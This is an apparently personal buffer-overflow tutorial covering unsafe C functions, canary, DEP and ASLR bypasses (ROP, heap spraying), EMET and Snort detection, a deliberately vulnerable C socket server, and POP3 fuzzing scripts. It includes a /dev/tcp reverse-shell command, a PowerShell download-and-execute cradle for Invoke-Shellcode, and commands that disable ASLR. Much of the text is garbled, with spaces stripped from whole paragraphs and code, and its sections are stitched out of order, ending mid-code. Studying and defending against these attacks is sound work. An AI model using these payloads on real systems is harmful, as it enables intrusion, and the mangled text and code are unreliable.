Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
printReceiveddatadata
ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards
VulnerableServerwcommentsonSocketCprogramminginC
AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)
if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)
vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0
BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers
ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers
TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing
FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen
FuzzerBuffergtApplicationBuffer
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
